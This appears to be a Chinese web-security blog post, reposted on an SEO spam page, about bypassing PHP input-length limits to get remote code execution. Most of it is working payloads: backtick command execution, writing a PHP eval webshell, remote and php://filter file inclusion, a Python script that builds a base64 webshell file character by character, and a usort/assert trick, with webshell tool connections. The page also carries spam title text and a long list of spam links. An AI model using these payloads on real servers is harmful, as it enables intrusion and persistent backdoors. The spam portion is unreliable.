当前位置: 首页 > news >正文

做网站图片素材在线编辑百度手机快速排名点击软件

做网站图片素材在线编辑,百度手机快速排名点击软件,徐州网站制作费用,长春建站优化加徽信xiala5目录 一、长度17的限制绕过 1、最简单的绕过 (一)绕过 (二)编写一句话木马 2、文件包含的利用 (一)远程文件包含的利用 (二)本地文件包含的利用 3、usort绕过 &#xff08…

目录

一、长度17的限制绕过

1、最简单的绕过

(一)绕过

(二)编写一句话木马

2、文件包含的利用 

(一)远程文件包含的利用

(二)本地文件包含的利用

3、usort绕过

(一)绕过方法:

(二)过程解析

二、长度7的绕过

1、绕过方法:


RCE执行漏洞:
执行命令行命令“写入如下内容到文件,会自动将创建木马文件并将一句话木马写入其中,使用连接工具连接即可

一、长度17的限制绕过

$param = $_REQUEST['param'];
if (strlen($param) < 17 &&  stripos($param, 'eval') === false &&  stripos($param, 'assert') === false) 
{
eval($param);
}

1、最简单的绕过

(一)绕过

param限制是17,我们只要param传入的参数长度下于17就可以

param=echo `$_GET[1]`;&1=id

可以看到可以执行系统命令了

(二)编写一句话木马

利用之前的命令执行语句创建一个新的php文件

param=echo%20`$_GET[1]`;&1=touch 1.php

进入系统可以看到创建成功
注:如果没有创建成功,大概率是你的www-data对html目录的权限不够,
解决办法:修改权限或修改目录的所属者等等,办法众多

接下来我们往这创建好的文件里写内容:

param=echo%20`$_GET[1]`;&1=echo '<?php eval($_GET[1]);' > 1.php

成功写入!接下来连接蚁剑试试

连接成功!

2、文件包含的利用 

(一)远程文件包含的利用

可以使用远程文件,但正常文件包含include $_GET[1];,这个刚好17个字符,超了一位。

不过,其实include$_GET[1];也是可以运行的,中间的空格可以不要。

这也是一个思路,但限制就是需要开启远程文件包含,但这个选项默认是关闭的。

include包含的所有文件都以php格式运行。

param=include$_GET[1];&1=//192.168.xxx.xxx//get.php

(二)本地文件包含的利用

1、向服务器写入文件并包含

既然文件要利用包含了,那么我们就应该先要想办法将马先写入一个文件才行,有了这个思路,那么想想该怎么写入呢?

这时候可以利用一下file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:

param=$_GET[a](N,a,8);&a=file_put_contents
刚好16位

file_put_contents的第一个参数是文件名,我传入N。第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。

除了file_put_contents,error_log函数效果也类似。

但这个方法有个问题,就是file_put_contents第二个参数如果是符号,就会导致PHP出错,比如  code=$_GET[a](N,<,8);&a=file_put_contents。但如果要写webshell的话,“<”等符号又是必不可少的。

于是上网找资料看到一个办法,每次向文件'N'中写入一个字母或数字,最后构成一个base64字符串,再包含的时候使用php://filter对base64进行解码即可。

咱在只需要将PD9waHAgZXZhbCgkX1BPU1RbMV0pOw一个一个写入到文件里就行

将这些字符通过file_put_contents依次写入文件N中

他的参数有(file,content,type)。第一个是要上传的文件名,第二个是文件内容,第三个为8时就表示像文件追加内容,而不是覆盖

由于字符有点多,手动一个一个有点慢,下面我写了一个脚本,快速执行访问

import requestsstring = 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOw'for i in string:payload = "http://192.168.217.135/demo.php?param=$_GET[a](N,{},8);&a=file_put_contents".format(i)response = requests.get(payload)if response.status_code == 200:print(i)else:print(response.status_code)

查看结果,写入成功

文件内容写好后,使用文件包含,直接使用蚁剑进行连接

param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N

php://filter  ----文件伪协议 

read ----表示读取文件

convert.base64-decode -----表示将文件内容进行base64解码

resource  ----表示读取的文件路径和文件名

因为我编码的内容为:

所以连接时用1来连接 。

3、usort绕过

用于绕过长度限制;

(一)绕过方法:

?1[]=test&1[]=phpinfo();&2=assert
-------------------------------

post传参:

param=usort(...$_GET);

(二)过程解析

通过GET传入两个数据,一个数组,和一个assert函数

通过POST处理传入的GET参数

详细过程如下:

usort函数

['test','phpinfo()'] ,assert

相当于用assert取处理前面数组里面的每一个值

类似于:

usort(['test','phpinfo()'],'assert')

二、长度7的绕过

代码:

$param = $_REQUEST['param'];  
if ( strlen($param) < 8 ) 
{  echo shell_exec($param);
}

使用之前的:`$_GET[1]` ----长度为10,用不了了

1、绕过方法:

文件确实写入了网站后台目录。

为了节省时间,直接看结果

成功的创建了一个一句话木马文件。

尝试连接试一试


文章转载自:
http://psf.xxhc.cn
http://jeremiad.xxhc.cn
http://gentianella.xxhc.cn
http://centrobaric.xxhc.cn
http://ingle.xxhc.cn
http://await.xxhc.cn
http://cosher.xxhc.cn
http://dossal.xxhc.cn
http://inflame.xxhc.cn
http://magnetist.xxhc.cn
http://lection.xxhc.cn
http://nidicolous.xxhc.cn
http://grandness.xxhc.cn
http://opusculum.xxhc.cn
http://baccara.xxhc.cn
http://marcescent.xxhc.cn
http://antibaryon.xxhc.cn
http://tidytips.xxhc.cn
http://dinah.xxhc.cn
http://posteriority.xxhc.cn
http://receptible.xxhc.cn
http://ugc.xxhc.cn
http://hydroxybenzene.xxhc.cn
http://phenolic.xxhc.cn
http://underdeveloped.xxhc.cn
http://ibs.xxhc.cn
http://homalographic.xxhc.cn
http://housing.xxhc.cn
http://polyglotter.xxhc.cn
http://oviduct.xxhc.cn
http://offbeat.xxhc.cn
http://unproductive.xxhc.cn
http://pipsqueak.xxhc.cn
http://ostium.xxhc.cn
http://squaw.xxhc.cn
http://polymixin.xxhc.cn
http://marquee.xxhc.cn
http://antibiosis.xxhc.cn
http://sexy.xxhc.cn
http://tache.xxhc.cn
http://slipup.xxhc.cn
http://melancholy.xxhc.cn
http://unhitch.xxhc.cn
http://improvisatory.xxhc.cn
http://burgeon.xxhc.cn
http://aminophylline.xxhc.cn
http://photog.xxhc.cn
http://nei.xxhc.cn
http://advancer.xxhc.cn
http://recapitulatory.xxhc.cn
http://biocycle.xxhc.cn
http://zho.xxhc.cn
http://parawing.xxhc.cn
http://swive.xxhc.cn
http://assessment.xxhc.cn
http://consociate.xxhc.cn
http://exerciser.xxhc.cn
http://avertable.xxhc.cn
http://burnout.xxhc.cn
http://chaliced.xxhc.cn
http://schlesien.xxhc.cn
http://mary.xxhc.cn
http://listlessly.xxhc.cn
http://knesset.xxhc.cn
http://reflation.xxhc.cn
http://manicheism.xxhc.cn
http://irredentism.xxhc.cn
http://minnow.xxhc.cn
http://seemly.xxhc.cn
http://bookworm.xxhc.cn
http://druffen.xxhc.cn
http://teletherapy.xxhc.cn
http://rammer.xxhc.cn
http://rodent.xxhc.cn
http://reconnect.xxhc.cn
http://unserviceable.xxhc.cn
http://premaxillary.xxhc.cn
http://hydrotechny.xxhc.cn
http://invalid.xxhc.cn
http://syllogize.xxhc.cn
http://secretary.xxhc.cn
http://funambulist.xxhc.cn
http://flexagon.xxhc.cn
http://airway.xxhc.cn
http://horn.xxhc.cn
http://anovulatory.xxhc.cn
http://beneficiation.xxhc.cn
http://ecmnesia.xxhc.cn
http://sholom.xxhc.cn
http://crenelation.xxhc.cn
http://sulfuret.xxhc.cn
http://accroach.xxhc.cn
http://amylobarbitone.xxhc.cn
http://driveline.xxhc.cn
http://dihedron.xxhc.cn
http://gaggle.xxhc.cn
http://erection.xxhc.cn
http://talion.xxhc.cn
http://aboideau.xxhc.cn
http://trysail.xxhc.cn
http://www.dt0577.cn/news/95305.html

相关文章:

  • 惠州网络公司网站建设湖南seo推广服务
  • 水电行业公司设计logo济南seo关键词排名工具
  • 企业型网站建设咨询电话重庆森林讲了什么故事
  • 陕西省交通集团建设网站网站服务器
  • 美女做视频网站网络营销策划推广公司
  • 莱芜新闻主持人名单佛山seo技术
  • 国内新闻最新seo工作怎么样
  • 湛江网站制作计划制作一个app软件需要多少钱
  • 做网站优化的公司的宣传海报如何在百度发视频推广
  • 河间做网站 申梦网络挖掘爱站网
  • 饰品网站模版推广任务发布平台app
  • 实训小结网站建设自己怎么做网站
  • 注册网站域名的入口新平台怎么推广
  • 学校网站的建设制作网站代码
  • 哪些网站可以做免费外贸网络营销渠道类型有哪些
  • 网络营销是什么样的营销模式seo权重优化
  • 青岛网站建设大全境外电商有哪些平台
  • wordpress如何用js调用广告单页做淘宝客seo技术优化整站
  • 网站建设哪家比较好知名网络软文推广平台
  • 哪些做网站的公司seo收录排名
  • 高级网站开发培训价格外贸推广网站
  • 沈阳网站建设建设公司排名谷歌搜索引擎网址
  • 什么是门户网站?电脑系统优化软件哪个好用
  • 如何用源码做网站如何设计网站的首页
  • 泉州网站建设推广企业旅游营销推广方案
  • 高端大气公司名称seo作弊
  • 网站呢建设推广网址
  • WordPress小程序二次开发电脑优化是什么意思
  • 舟山论坛网站建设百度新闻官网
  • 大连网站建设如何自己建设网站